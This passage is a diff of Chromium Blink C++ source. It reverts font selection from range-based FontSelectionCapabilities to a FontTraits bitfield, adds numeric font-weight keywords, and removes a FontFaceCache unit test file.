 #include "platform/wtf/Forward.h"
@@ -46,15 +46,12 @@
 class CSSSegmentedFontFace final
     : public GarbageCollectedFinalized<CSSSegmentedFontFace> {
  public:
-  static CSSSegmentedFontFace* Create(
-      FontSelectionCapabilities font_selection_capabilities) {
-    return new CSSSegmentedFontFace(font_selection_capabilities);
+  static CSSSegmentedFontFace* Create(FontTraits traits) {
+    return new CSSSegmentedFontFace(traits);
   }
   ~CSSSegmentedFontFace();
 
-  FontSelectionCapabilities GetFontSelectionCapabilities() const {
-    return font_selection_capabilities_;
-  }
+  FontTraits Traits() const { return traits_; }
 
   // Called when status of a FontFace has changed (e.g. loaded or timed out)
   // so cached FontData must be discarded.
@@ -77,14 +74,14 @@
   DECLARE_TRACE();
 
  private:
-  CSSSegmentedFontFace(FontSelectionCapabilities);
+  CSSSegmentedFontFace(FontTraits);
 
   void PruneTable();
   bool IsValid() const;
 
   using FontFaceList = HeapListHashSet<Member<FontFace>>;
 
-  FontSelectionCapabilities font_selection_capabilities_;
+  FontTraits traits_;
   HashMap<FontCacheKey,
           RefPtr<SegmentedFontData>,
           FontCacheKeyHash,
diff --git a/third_party/WebKit/Source/core/css/CSSValue.cpp b/third_party/WebKit/Source/core/css/CSSValue.cpp
index a8502f94..83bbbffc9 100644
--- a/third_party/WebKit/Source/core/css/CSSValue.cpp
+++ b/third_party/WebKit/Source/core/css/CSSValue.cpp
@@ -38,7 +38,6 @@
 #include "core/css/CSSFontFaceSrcValue.h"
 #include "core/css/CSSFontFamilyValue.h"
 #include "core/css/CSSFontFeatureValue.h"
-#include "core/css/CSSFontStyleRangeValue.h"
 #include "core/css/CSSFontVariationValue.h"
 #include "core/css/CSSFunctionValue.h"
 #include "core/css/CSSGradientValue.h"
@@ -170,8 +169,6 @@
         return CompareCSSValues<CSSFontFamilyValue>(*this, other);
       case kFontFeatureClass:
         return CompareCSSValues<CSSFontFeatureValue>(*this, other);
-      case kFontStyleRangeClass:
-        return CompareCSSValues<CSSFontStyleRangeValue>(*this, other);
       case kFontVariationClass:
         return CompareCSSValues<CSSFontVariationValue>(*this, other);
       case kFunctionClass:
@@ -274,8 +271,6 @@
       return ToCSSFontFamilyValue(this)->CustomCSSText();
     case kFontFeatureClass:
       return ToCSSFontFeatureValue(this)->CustomCSSText();
-    case kFontStyleRangeClass:
-      return ToCSSFontStyleRangeValue(this)->CustomCSSText();
     case kFontVariationClass:
       return ToCSSFontVariationValue(this)->CustomCSSText();
     case kFunctionClass:
@@ -386,9 +381,6 @@
     case kFontFeatureClass:
       ToCSSFontFeatureValue(this)->~CSSFontFeatureValue();
       return;
-    case kFontStyleRangeClass:
-      ToCSSFontStyleRangeValue(this)->~CSSFontStyleRangeValue();
-      return;
     case kFontVariationClass:
       ToCSSFontVariationValue(this)->~CSSFontVariationValue();
       return;
@@ -534,9 +526,6 @@
     case kFontFeatureClass:
       ToCSSFontFeatureValue(this)->TraceAfterDispatch(visitor);
       return;
-    case kFontStyleRangeClass:
-      ToCSSFontStyleRangeValue(this)->TraceAfterDispatch(visitor);
-      return;
     case kFontVariationClass:
       ToCSSFontVariationValue(this)->TraceAfterDispatch(visitor);
       return;
diff --git a/third_party/WebKit/Source/core/css/CSSValue.h b/third_party/WebKit/Source/core/css/CSSValue.h
index d71c1667..7c5bb80 100644
--- a/third_party/WebKit/Source/core/css/CSSValue.h
+++ b/third_party/WebKit/Source/core/css/CSSValue.h
@@ -88,9 +88,6 @@
   bool IsFontFeatureValue() const { return class_type_ == kFontFeatureClass; }
   bool IsFontFamilyValue() const { return class_type_ == kFontFamilyClass; }
   bool IsFontFaceSrcValue() const { return class_type_ == kFontFaceSrcClass; }
-  bool IsFontStyleRangeValue() const {
-    return class_type_ == kFontStyleRangeClass;
-  }
   bool IsFontVariationValue() const {
     return class_type_ == kFontVariationClass;
   }
@@ -216,7 +213,6 @@
     kFontFeatureClass,
     kFontFaceSrcClass,
     kFontFamilyClass,
-    kFontStyleRangeClass,
     kFontVariationClass,
 
     kInheritedClass,
diff --git a/third_party/WebKit/Source/core/css/CSSValueKeywords.json5 b/third_party/WebKit/Source/core/css/CSSValueKeywords.json5
index d52fccc6..d562ab38 100644
--- a/third_party/WebKit/Source/core/css/CSSValueKeywords.json5
+++ b/third_party/WebKit/Source/core/css/CSSValueKeywords.json5
@@ -95,6 +95,15 @@
     "bold",
     "bolder",
     "lighter",
+    "100",
+    "200",
+    "300",
+    "400",
+    "500",
+    "600",
+    "700",
+    "800",
+    "900",
 
     //
     // font-stretch
diff --git a/third_party/WebKit/Source/core/css/ComputedStyleCSSValueMapping.cpp b/third_party/WebKit/Source/core/css/ComputedStyleCSSValueMapping.cpp
index b191c9b..db49a60e 100644
--- a/third_party/WebKit/Source/core/css/ComputedStyleCSSValueMapping.cpp
+++ b/third_party/WebKit/Source/core/css/ComputedStyleCSSValueMapping.cpp
@@ -757,18 +757,15 @@
 }
 
 static CSSIdentifierValue* ValueForFontStretch(const ComputedStyle& style) {
-  return CSSIdentifierValue::Create(
-      FontSelectionValueStretch(style.GetFontDescription().Stretch()));
+  return CSSIdentifierValue::Create(style.GetFontDescription().Stretch());
 }
 
 static CSSIdentifierValue* ValueForFontStyle(const ComputedStyle& style) {
-  return CSSIdentifierValue::Create(
-      FontSelectionValueStyle(style.GetFontDescription().Style()));
+  return CSSIdentifierValue::Create(style.GetFontDescription().Style());
 }
 
-static CSSPrimitiveValue* ValueForFontWeight(const ComputedStyle& style) {
-  return CSSPrimitiveValue::Create(style.GetFontDescription().Weight(),
-                                   CSSPrimitiveValue::UnitType::kNumber);
+static CSSIdentifierValue* ValueForFontWeight(const ComputedStyle& style) {
+  return CSSIdentifierValue::Create(style.GetFontDescription().Weight());
 }
 
 static CSSIdentifierValue* ValueForFontVariantCaps(const ComputedStyle& style) {
diff --git a/third_party/WebKit/Source/core/css/FontFace.cpp b/third_party/WebKit/Source/core/css/FontFace.cpp
index 10a41d49..c9a2b79f 100644
--- a/third_party/WebKit/Source/core/css/FontFace.cpp
+++ b/third_party/WebKit/Source/core/css/FontFace.cpp
@@ -38,7 +38,6 @@
 #include "core/css/CSSFontFaceSrcValue.h"
 #include "core/css/CSSFontFamilyValue.h"
 #include "core/css/CSSFontSelector.h"
-#include "core/css/CSSFontStyleRangeValue.h"
 #include "core/css/CSSIdentifierValue.h"
 #include "core/css/CSSUnicodeRangeValue.h"
 #include "core/css/CSSValueList.h"
@@ -153,8 +152,7 @@
       font_face->SetPropertyFromStyle(properties,
                                       CSSPropertyFontFeatureSettings) &&
       font_face->SetPropertyFromStyle(properties, CSSPropertyFontDisplay) &&
-      font_face->GetFontSelectionCapabilities().IsValid() &&
-      !font_face->family().IsEmpty()) {
+      !font_face->family().IsEmpty() && font_face->Traits().Bitfield()) {
     font_face->InitCSSFontFace(document, src);
     return font_face;
   }
@@ -451,185 +449,110 @@
     callbacks_.push_back(callback);
 }
 
-FontSelectionCapabilities FontFace::GetFontSelectionCapabilities() const {
-  // FontSelectionCapabilities represents a range of available width, slope and
-  // weight values. The first value of each pair is the minimum value, the
-  // second is the maximum value.
-  FontSelectionCapabilities normal_capabilities(
-      {NormalWidthValue(), NormalWidthValue()},
-      {NormalSlopeValue(), NormalSlopeValue()},
-      {NormalWeightValue(), NormalWeightValue()});
-  FontSelectionCapabilities capabilities(normal_capabilities);
-
+FontTraits FontFace::Traits() const {
+  FontStretch stretch = kFontStretchNormal;
   if (stretch_) {
-    if (stretch_->IsIdentifierValue()) {
-      switch (ToCSSIdentifierValue(stretch_.Get())->GetValueID()) {
-        case CSSValueUltraCondensed:
-          capabilities.width = {UltraCondensedWidthValue(),
-                                UltraCondensedWidthValue()};
-          break;
-        case CSSValueExtraCondensed:
-          capabilities.width = {ExtraCondensedWidthValue(),
-                                ExtraCondensedWidthValue()};
-          break;
-        case CSSValueCondensed:
-          capabilities.width = {CondensedWidthValue(), CondensedWidthValue()};
-          break;
-        case CSSValueSemiCondensed:
-          capabilities.width = {SemiCondensedWidthValue(),
-                                SemiCondensedWidthValue()};
-          break;
-        case CSSValueSemiExpanded:
-          capabilities.width = {SemiExpandedWidthValue(),
-                                SemiExpandedWidthValue()};
-          break;
-        case CSSValueExpanded:
-          capabilities.width = {ExpandedWidthValue(), ExpandedWidthValue()};
-          break;
-        case CSSValueExtraExpanded:
-          capabilities.width = {ExtraExpandedWidthValue(),
-                                ExtraExpandedWidthValue()};
-          break;
-        case CSSValueUltraExpanded:
-          capabilities.width = {UltraExpandedWidthValue(),
-                                UltraExpandedWidthValue()};
-          break;
-        default:
-          break;
-      }
-    } else if (stretch_->IsValueList()) {
-      // Transition FontFace interpretation of parsed values from
-      // CSSIdentifierValue to CSSValueList or CSSPrimitiveValue.
-      // TODO(drott) crbug.com/739139: Update the parser to only produce
-      // CSSPrimitiveValue or CSSValueList.
-      const CSSValueList* stretch_list = ToCSSValueList(stretch_);
-      if (stretch_list->length() != 2)
-        return normal_capabilities;
-      if (!stretch_list->Item(0).IsPrimitiveValue() ||
-          !stretch_list->Item(1).IsPrimitiveValue())
-        return normal_capabilities;
-      const CSSPrimitiveValue* stretch_from =
-          ToCSSPrimitiveValue(&stretch_list->Item(0));
-      const CSSPrimitiveValue* stretch_to =
-          ToCSSPrimitiveValue(&stretch_list->Item(1));
-      if (!stretch_from->IsPercentage() || !stretch_to->IsPercentage())
-        return normal_capabilities;
-      capabilities.width = {FontSelectionValue(stretch_from->GetFloatValue()),
-                            FontSelectionValue(stretch_to->GetFloatValue())};
-    } else if (stretch_->IsPrimitiveValue()) {
-      float stretch_value =
-          ToCSSPrimitiveValue(stretch_.Get())->GetFloatValue();
-      capabilities.width = {FontSelectionValue(stretch_value),
-                            FontSelectionValue(stretch_value)};
-    } else {
-      NOTREACHED();
-      return normal_capabilities;
+    if (!stretch_->IsIdentifierValue())
+      return 0;
+
+    switch (ToCSSIdentifierValue(stretch_.Get())->GetValueID()) {
+      case CSSValueUltraCondensed:
+        stretch = kFontStretchUltraCondensed;
+        break;
+      case CSSValueExtraCondensed:
+        stretch = kFontStretchExtraCondensed;
+        break;
+      case CSSValueCondensed:
+        stretch = kFontStretchCondensed;
+        break;
+      case CSSValueSemiCondensed:
+        stretch = kFontStretchSemiCondensed;
+        break;
+      case CSSValueSemiExpanded:
+        stretch = kFontStretchSemiExpanded;
+        break;
+      case CSSValueExpanded:
+        stretch = kFontStretchExpanded;
+        break;
+      case CSSValueExtraExpanded:
+        stretch = kFontStretchExtraExpanded;
+        break;
+      case CSSValueUltraExpanded:
+        stretch = kFontStretchUltraExpanded;
+        break;
+      default:
+        break;
     }
   }
 
+  FontStyle style = kFontStyleNormal;
   if (style_) {
-    if (style_->IsIdentifierValue()) {
-      switch (ToCSSIdentifierValue(style_.Get())->GetValueID()) {
-        case CSSValueNormal:
-          capabilities.slope = {NormalSlopeValue(), NormalSlopeValue()};
-          break;
-        case CSSValueOblique:
-          capabilities.slope = {ItalicSlopeValue(), ItalicSlopeValue()};
-          break;
-        case CSSValueItalic:
-          capabilities.slope = {ItalicSlopeValue(), ItalicSlopeValue()};
-          break;
-        default:
-          break;
-      }
-    } else if (style_->IsFontStyleRangeValue()) {
-      const CSSFontStyleRangeValue* range_value =
-          ToCSSFontStyleRangeValue(style_);
-      if (range_value->GetFontStyleValue()->IsIdentifierValue()) {
-        CSSValueID font_style_id =
-            range_value->GetFontStyleValue()->GetValueID();
-        if (!range_value->GetObliqueValues()) {
-          if (font_style_id == CSSValueNormal)
-            capabilities.slope = {NormalSlopeValue(), NormalSlopeValue()};
-          DCHECK(font_style_id == CSSValueItalic ||
-                 font_style_id == CSSValueOblique);
-          capabilities.slope = {ItalicSlopeValue(), ItalicSlopeValue()};
-        } else {
-          DCHECK(font_style_id == CSSValueOblique);
-          size_t oblique_values_size =
-              range_value->GetObliqueValues()->length();
-          if (oblique_values_size == 1) {
-            const CSSPrimitiveValue& range_start =
-                ToCSSPrimitiveValue(range_value->GetObliqueValues()->Item(0));
-            FontSelectionValue oblique_range(range_start.GetFloatValue());
-            capabilities.slope = {oblique_range, oblique_range};
-          } else {
-            DCHECK_EQ(oblique_values_size, 2u);
-            const CSSPrimitiveValue& range_start =
-                ToCSSPrimitiveValue(range_value->GetObliqueValues()->Item(0));
-            const CSSPrimitiveValue& range_end =
-                ToCSSPrimitiveValue(range_value->GetObliqueValues()->Item(1));
-            capabilities.slope = {
-                FontSelectionValue(range_start.GetFloatValue()),
-                FontSelectionValue(range_end.GetFloatValue())};
-          }
-        }
-      }
-    } else {
-      NOTREACHED();
-      return normal_capabilities;
+    if (!style_->IsIdentifierValue())
+      return 0;
+
+    switch (ToCSSIdentifierValue(style_.Get())->GetValueID()) {
+      case CSSValueNormal:
+        style = kFontStyleNormal;
+        break;
+      case CSSValueOblique:
+        style = kFontStyleOblique;
+        break;
+      case CSSValueItalic:
+        style = kFontStyleItalic;
+        break;
+      default:
+        break;
     }
   }
 
+  FontWeight weight = kFontWeight400;
   if (weight_) {
-    if (weight_->IsIdentifierValue()) {
-      switch (ToCSSIdentifierValue(weight_.Get())->GetValueID()) {
-        // Although 'lighter' and 'bolder' are valid keywords for
-        // font-weights, they are invalid inside font-face rules so they are
-        // ignored. Reference:
-        // http://www.w3.org/TR/css3-fonts/#descdef-font-weight.
-        case CSSValueLighter:
-        case CSSValueBolder:
-          break;
-        case CSSValueNormal:
-          capabilities.weight = {NormalWeightValue(), NormalWeightValue()};
-          break;
-        case CSSValueBold:
-          capabilities.weight = {BoldWeightValue(), BoldWeightValue()};
-          break;
-        default:
-          NOTREACHED();
-          break;
-      }
-    } else if (weight_->IsValueList()) {
-      const CSSValueList* weight_list = ToCSSValueList(weight_);
-      if (weight_list->length() != 2)
-        return normal_capabilities;
-      if (!weight_list->Item(0).IsPrimitiveValue() ||
-          !weight_list->Item(1).IsPrimitiveValue())
-        return normal_capabilities;
-      const CSSPrimitiveValue* weight_from =
-          ToCSSPrimitiveValue(&weight_list->Item(0));
-      const CSSPrimitiveValue* weight_to =
-          ToCSSPrimitiveValue(&weight_list->Item(1));
-      if (!weight_from->IsNumber() || !weight_to->IsNumber() ||
-          weight_from->GetFloatValue() < 1 || weight_to->GetFloatValue() > 1000)
-        return normal_capabilities;
-      capabilities.weight = {FontSelectionValue(weight_from->GetFloatValue()),
-                             FontSelectionValue(weight_to->GetFloatValue())};
-    } else if (weight_->IsPrimitiveValue()) {
-      float weight_value = ToCSSPrimitiveValue(weight_.Get())->GetFloatValue();
-      if (weight_value < 1 || weight_value > 1000)
-        return normal_capabilities;
-      capabilities.weight = {FontSelectionValue(weight_value),
-                             FontSelectionValue(weight_value)};
-    } else {
-      NOTREACHED();
-      return normal_capabilities;
+    if (!weight_->IsIdentifierValue())
+      return 0;
+
+    switch (ToCSSIdentifierValue(weight_.Get())->GetValueID()) {
+      case CSSValueBold:
+      case CSSValue700:
+        weight = kFontWeight700;
+        break;
+      case CSSValueNormal:
+      case CSSValue400:
+        weight = kFontWeight400;
+        break;
+      case CSSValue900:
+        weight = kFontWeight900;
+        break;
+      case CSSValue800:
+        weight = kFontWeight800;
+        break;
+      case CSSValue600:
+        weight = kFontWeight600;
+        break;
+      case CSSValue500:
+        weight = kFontWeight500;
+        break;
+      case CSSValue300:
+        weight = kFontWeight300;
+        break;
+      case CSSValue200:
+        weight = kFontWeight200;
+        break;
+      case CSSValue100:
+        weight = kFontWeight100;
+        break;
+      // Although 'lighter' and 'bolder' are valid keywords for font-weights,
+      // they are invalid inside font-face rules so they are ignored. Reference:
+      // http://www.w3.org/TR/css3-fonts/#descdef-font-weight.
+      case CSSValueLighter:
+      case CSSValueBolder:
+        break;
+      default:
+        NOTREACHED();
+        break;
     }
   }
 
-  return capabilities;
+  return FontTraits(style, weight, stretch);
 }
 
 size_t FontFace::ApproximateBlankCharacterCount() const {
diff --git a/third_party/WebKit/Source/core/css/FontFace.h b/third_party/WebKit/Source/core/css/FontFace.h
index a226b31..7f1aa83 100644
--- a/third_party/WebKit/Source/core/css/FontFace.h
+++ b/third_party/WebKit/Source/core/css/FontFace.h
@@ -39,7 +39,7 @@
 #include "core/dom/DOMException.h"
 #include "platform/bindings/ActiveScriptWrappable.h"
 #include "platform/bindings/ScriptWrappable.h"
-#include "platform/fonts/FontSelectionTypes.h"
+#include "platform/fonts/FontTraits.h"
 #include "platform/wtf/text/WTFString.h"
 
 namespace blink {
@@ -107,7 +107,7 @@
   void SetLoadStatus(LoadStatusType);
   void SetError(DOMException* = nullptr);
   DOMException* GetError() const { return error_; }
-  FontSelectionCapabilities GetFontSelectionCapabilities() const;
+  FontTraits Traits() const;
   CSSFontFace* CssFontFace() { return css_font_face_.Get(); }
   size_t ApproximateBlankCharacterCount() const;
 
diff --git a/third_party/WebKit/Source/core/css/FontFaceCache.cpp b/third_party/WebKit/Source/core/css/FontFaceCache.cpp
index bd57447..a32223b1 100644
--- a/third_party/WebKit/Source/core/css/FontFaceCache.cpp
+++ b/third_party/WebKit/Source/core/css/FontFaceCache.cpp
@@ -28,10 +28,12 @@
 
 #include "core/css/CSSSegmentedFontFace.h"
 #include "core/css/CSSValueList.h"
+#include "core/css/FontFace.h"
+#include "core/css/FontStyleMatcher.h"
+#include "core/css/StyleRule.h"
 #include "core/loader/resource/FontResource.h"
 #include "platform/FontFamilyNames.h"
 #include "platform/fonts/FontDescription.h"
-#include "platform/fonts/FontSelectionAlgorithm.h"
 #include "platform/loader/fetch/ResourceFetcher.h"
 #include "platform/wtf/text/AtomicString.h"
 
@@ -49,30 +51,25 @@
 }
 
 void FontFaceCache::AddFontFace(FontFace* font_face, bool css_connected) {
-  SegmentedFacesByFamily::AddResult capabilities_result =
-      segmented_faces_.insert(font_face->family(), nullptr);
+  FamilyToTraitsMap::AddResult traits_result =
+      font_faces_.insert(font_face->family(), nullptr);
+  if (!traits_result.stored_value->value)
+    traits_result.stored_value->value = new TraitsMap;
 
-  if (capabilities_result.is_new_entry)
-    capabilities_result.stored_value->value = new CapabilitiesSet();
-
-  DCHECK(font_face->GetFontSelectionCapabilities().IsValid() &&
-         !font_face->GetFontSelectionCapabilities().IsHashTableDeletedValue());
-
-  CapabilitiesSet::AddResult segmented_font_face_result =
-      capabilities_result.stored_value->value->insert(
-          font_face->GetFontSelectionCapabilities(), nullptr);
-  if (segmented_font_face_result.is_new_entry) {
+  TraitsMap::AddResult segmented_font_face_result =
+      traits_result.stored_value->value->insert(font_face->Traits().Bitfield(),
+                                                nullptr);
+  if (!segmented_font_face_result.stored_value->value) {
     segmented_font_face_result.stored_value->value =
-        CSSSegmentedFontFace::Create(font_face->GetFontSelectionCapabilities());
+        CSSSegmentedFontFace::Create(font_face->Traits());
   }
 
   segmented_font_face_result.stored_value->value->AddFontFace(font_face,
                                                               css_connected);
-
   if (css_connected)
     css_connected_font_faces_.insert(font_face);
 
-  font_selection_query_cache_.erase(font_face->family());
+  fonts_.erase(font_face->family());
   IncrementVersion();
 }
 
@@ -86,30 +83,25 @@
 }
 
 void FontFaceCache::RemoveFontFace(FontFace* font_face, bool css_connected) {
-  SegmentedFacesByFamily::iterator segmented_faces_iter =
-      segmented_faces_.find(font_face->family());
-  if (segmented_faces_iter == segmented_faces_.end())
+  FamilyToTraitsMap::iterator font_faces_iter =
+      font_faces_.find(font_face->family());
+  if (font_faces_iter == font_faces_.end())
     return;
+  TraitsMap* family_font_faces = font_faces_iter->value.Get();
 
-  CapabilitiesSet* family_segmented_faces = segmented_faces_iter->value.Get();
-
-  CapabilitiesSet::iterator family_segmented_faces_iter =
-      family_segmented_faces->find(font_face->GetFontSelectionCapabilities());
-  if (family_segmented_faces_iter == family_segmented_faces->end())
+  TraitsMap::iterator family_font_faces_iter =
+      family_font_faces->find(font_face->Traits().Bitfield());
+  if (family_font_faces_iter == family_font_faces->end())
     return;
+  CSSSegmentedFontFace* segmented_font_face = family_font_faces_iter->value;
 
-  CSSSegmentedFontFace* segmented_font_face =
-      family_segmented_faces_iter->value;
   segmented_font_face->RemoveFontFace(font_face);
   if (segmented_font_face->IsEmpty()) {
-    family_segmented_faces->erase(family_segmented_faces_iter);
-    if (family_segmented_faces->IsEmpty()) {
-      segmented_faces_.erase(segmented_faces_iter);
-    }
+    family_font_faces->erase(family_font_faces_iter);
+    if (family_font_faces->IsEmpty())
+      font_faces_.erase(font_faces_iter);
   }
-
-  font_selection_query_cache_.erase(font_face->family());
-
+  fonts_.erase(font_face->family());
   if (css_connected)
     css_connected_font_faces_.erase(font_face);
 
@@ -123,11 +115,11 @@
 }
 
 void FontFaceCache::ClearAll() {
-  if (segmented_faces_.IsEmpty())
+  if (font_faces_.IsEmpty())
     return;
 
-  segmented_faces_.clear();
-  font_selection_query_cache_.clear();
+  font_faces_.clear();
+  fonts_.clear();
   style_rule_to_font_face_.clear();
   css_connected_font_faces_.clear();
   IncrementVersion();
@@ -140,67 +132,33 @@
 CSSSegmentedFontFace* FontFaceCache::Get(
     const FontDescription& font_description,
     const AtomicString& family) {
-  SegmentedFacesByFamily::iterator segmented_faces_for_family =
-      segmented_faces_.find(family);
-  if (segmented_faces_for_family == segmented_faces_.end() ||
-      segmented_faces_for_family->value->IsEmpty())
+  TraitsMap* family_font_faces = font_faces_.at(family);
+  if (!family_font_faces || family_font_faces->IsEmpty())
     return nullptr;
 
-  auto family_faces = segmented_faces_for_family->value;
+  FamilyToTraitsMap::AddResult traits_result = fonts_.insert(family, nullptr);
+  if (!traits_result.stored_value->value)
+    traits_result.stored_value->value = new TraitsMap;
 
-  // Either add or retrieve a cache entry in the selection query cache for the
-  // specified family.
-  FontSelectionQueryCache::AddResult cache_entry_for_family_add =
-      font_selection_query_cache_.insert(family,
-                                         new FontSelectionQueryResult());
-  auto cache_entry_for_family = cache_entry_for_family_add.stored_value->value;
-
-  const FontSelectionRequest& request =
-      font_description.GetFontSelectionRequest();
-
-  FontSelectionQueryResult::AddResult face_entry =
-      cache_entry_for_family->insert(request, nullptr);
-  if (!face_entry.is_new_entry)
-    return face_entry.stored_value->value;
-
-  // If we don't have a previously cached result for this request, we now need
-  // to iterate over all entries in the CapabilitiesSet for one family and
-  // extract the best CSSSegmentedFontFace from those.
-
-  // The FontSelectionAlgorithm needs to know the boundaries of stretch, style,
-  // range for all the available faces in order to calculate distances
-  // correctly.
-  FontSelectionCapabilities all_faces_boundaries;
-  for (const auto& item : *family_faces) {
-    all_faces_boundaries.Expand(item.value->GetFontSelectionCapabilities());
-  }
-
-  FontSelectionAlgorithm font_selection_algorithm(request,
-                                                  all_faces_boundaries);
-  for (const auto& item : *family_faces) {
-    const FontSelectionCapabilities& candidate_key = item.key;
-    CSSSegmentedFontFace* candidate_value = item.value;
-    if (!face_entry.stored_value->value ||
-        font_selection_algorithm.IsBetterMatchForRequest(
-            candidate_key,
-            face_entry.stored_value->value->GetFontSelectionCapabilities())) {
-      face_entry.stored_value->value = candidate_value;
+  FontTraits traits = font_description.Traits();
+  TraitsMap::AddResult face_result =
+      traits_result.stored_value->value->insert(traits.Bitfield(), nullptr);
+  if (!face_result.stored_value->value) {
+    for (const auto& item : *family_font_faces) {
+      CSSSegmentedFontFace* candidate = item.value.Get();
+      FontStyleMatcher style_matcher(traits);
+      if (!face_result.stored_value->value ||
+          style_matcher.IsCandidateBetter(
+              candidate, face_result.stored_value->value.Get()))
+        face_result.stored_value->value = candidate;
     }
   }
-  return face_entry.stored_value->value;
-}
-
-size_t FontFaceCache::GetNumSegmentedFacesForTesting() {
-  size_t count = 0;
-  for (auto& family_faces : segmented_faces_) {
-    count += family_faces.value->size();
-  }
-  return count;
+  return face_result.stored_value->value.Get();
 }
 
 DEFINE_TRACE(FontFaceCache) {
-  visitor->Trace(segmented_faces_);
-  visitor->Trace(font_selection_query_cache_);
+  visitor->Trace(font_faces_);
+  visitor->Trace(fonts_);
   visitor->Trace(style_rule_to_font_face_);
   visitor->Trace(css_connected_font_faces_);
 }
diff --git a/third_party/WebKit/Source/core/css/FontFaceCache.h b/third_party/WebKit/Source/core/css/FontFaceCache.h
index 35f8cf6..8eb24fb 100644
--- a/third_party/WebKit/Source/core/css/FontFaceCache.h
+++ b/third_party/WebKit/Source/core/css/FontFaceCache.h
@@ -27,11 +27,6 @@
 #ifndef FontFaceCache_h
 #define FontFaceCache_h
 
-#include "core/CoreExport.h"
-#include "core/css/CSSSegmentedFontFace.h"
-#include "core/css/FontFace.h"
-#include "core/css/StyleRule.h"
-#include "platform/fonts/FontSelectionTypes.h"
 #include "platform/heap/Handle.h"
 #include "platform/wtf/Forward.h"
 #include "platform/wtf/HashMap.h"
@@ -40,9 +35,12 @@
 
 namespace blink {
 
+class FontFace;
+class CSSSegmentedFontFace;
 class FontDescription;
+class StyleRuleFontFace;
 
-class CORE_EXPORT FontFaceCache final {
+class FontFaceCache final {
   DISALLOW_NEW();
 
  public:
@@ -55,8 +53,6 @@
   void AddFontFace(FontFace*, bool css_connected);
   void RemoveFontFace(FontFace*, bool css_connected);
 
-  size_t GetNumSegmentedFacesForTesting();
-
   // FIXME: It's sort of weird that add/remove uses StyleRuleFontFace* as key,
   // but this function uses FontDescription/family pair.
   CSSSegmentedFontFace* Get(const FontDescription&, const AtomicString& family);
@@ -71,44 +67,14 @@
   DECLARE_TRACE();
 
  private:
-  // Two lookup accelerating cashes are needed: For the font selection
-  // algorithm to work and not perform font fallback across
-  // FontSelectionCapabilities, we need to bin the incoming @font-faces by same
-  // FontSelectionCapabilities, then run the font selection algorithm only by
-  // looking at the capabilities of each group. Group here means: Font faces of
-  // identicaly capabilities, but differing unicode-range.
-  //
-  // A second lookup table caches the previously received FontSelectionRequest
-  // queries, which is: HeapHashMap <String, HeapHashMap<FontSelectionRequest,
-  // CSSSegmentedFontFace>>
-  using CapabilitiesSet =
-      HeapHashMap<FontSelectionCapabilities, Member<CSSSegmentedFontFace>>;
-  using SegmentedFacesByFamily =
-      HeapHashMap<String, Member<CapabilitiesSet>, CaseFoldingHash>;
-  using FontSelectionQueryResult =
-      HeapHashMap<FontSelectionRequestKey,
-                  Member<CSSSegmentedFontFace>,
-                  FontSelectionRequestKeyHash,
-                  WTF::SimpleClassHashTraits<FontSelectionRequestKey>>;
-  using FontSelectionQueryCache =
-      HeapHashMap<String, Member<FontSelectionQueryResult>, CaseFoldingHash>;
-
-  // All incoming faces added from JS or CSS, bucketed per family.
-  SegmentedFacesByFamily segmented_faces_;
-  // Previously determined font matching query results, bucketed per family and
-  // FontSelectionRequest. A family bucket of this cache gets invalidated when a
-  // new face of the same family is added or removed.
-  FontSelectionQueryCache font_selection_query_cache_;
-
-  // Used for removing font faces from the segmented_faces_ list when a CSS rule
-  // is removed.
+  using TraitsMap = HeapHashMap<unsigned, Member<CSSSegmentedFontFace>>;
+  using FamilyToTraitsMap =
+      HeapHashMap<String, Member<TraitsMap>, CaseFoldingHash>;
   using StyleRuleToFontFace =
       HeapHashMap<Member<const StyleRuleFontFace>, Member<FontFace>>;
+  FamilyToTraitsMap font_faces_;
+  FamilyToTraitsMap fonts_;
   StyleRuleToFontFace style_rule_to_font_face_;
-
-  // Needed for incoming ClearCSSConnected() requests coming in from
-  // StyleEngine, which clears all those faces from the FontCache which are
-  // originating from CSS, as opposed to those originating from JS.
   HeapListHashSet<Member<FontFace>> css_connected_font_faces_;
 
   // FIXME: See if this could be ditched
diff --git a/third_party/WebKit/Source/core/css/FontFaceCacheTest.cpp b/third_party/WebKit/Source/core/css/FontFaceCacheTest.cpp
deleted file mode 100644
index e29eb90..0000000
--- a/third_party/WebKit/Source/core/css/FontFaceCacheTest.cpp
+++ /dev/null
@@ -1,410 +0,0 @@
-// Copyright 2017 The Chromium Authors. All rights reserved.
-// Use of this source code is governed by a BSD-style license that can be
-// found in the LICENSE file.
-
-#include "core/css/CSSFontFaceSrcValue.h"
-#include "core/css/CSSFontFamilyValue.h"
-#include "core/css/CSSFontStyleRangeValue.h"
-#include "core/css/CSSIdentifierValue.h"
-#include "core/css/CSSSegmentedFontFace.h"
-#include "core/css/CSSValueList.h"
-#include "core/css/FontFace.h"
-#include "core/css/FontFaceCache.h"
-#include "core/css/StylePropertySet.h"
-#include "core/css/StyleRule.h"
-#include "core/testing/DummyPageHolder.h"
-#include "testing/gtest/include/gtest/gtest.h"
-
-namespace blink {
-
-class FontFaceCacheTest : public ::testing::Test {
-  USING_FAST_MALLOC(FontFaceCacheTest);
-
- protected:
-  FontFaceCacheTest(){};
-  ~FontFaceCacheTest() override{};
-
-  void SetUp() override;
-
-  void ClearCache();
-  void AppendTestFaceForCapabilities(const CSSValue& stretch,
-                                     const CSSValue& style,
-                                     const CSSValue& weight);
-  FontDescription FontDescriptionForRequest(FontSelectionValue stretch,
-                                            FontSelectionValue style,
-                                            FontSelectionValue weight);
-
-  FontFaceCache cache_;
-
-  DECLARE_TRACE();
-
- protected:
-  std::unique_ptr<DummyPageHolder> dummy_page_holder_;
-  const AtomicString kFontNameForTesting{"Arial"};
-};
-
-void FontFaceCacheTest::SetUp() {
-  dummy_page_holder_ = DummyPageHolder::Create(IntSize(800, 600));
-  ClearCache();
-}
-
-void FontFaceCacheTest::ClearCache() {
-  cache_.ClearAll();
-}
-
-void FontFaceCacheTest::AppendTestFaceForCapabilities(const CSSValue& stretch,
-                                                      const CSSValue& style,
-                                                      const CSSValue& weight) {
-  CSSFontFamilyValue* family_name =
-      CSSFontFamilyValue::Create(kFontNameForTesting);
-  CSSFontFaceSrcValue* src = CSSFontFaceSrcValue::CreateLocal(
-      kFontNameForTesting, kDoNotCheckContentSecurityPolicy);
-  CSSValueList* src_value_list = CSSValueList::CreateCommaSeparated();
-  src_value_list->Append(*src);
-  CSSProperty properties[] = {CSSProperty(CSSPropertyFontFamily, *family_name),
-                              CSSProperty(CSSPropertySrc, *src_value_list)};
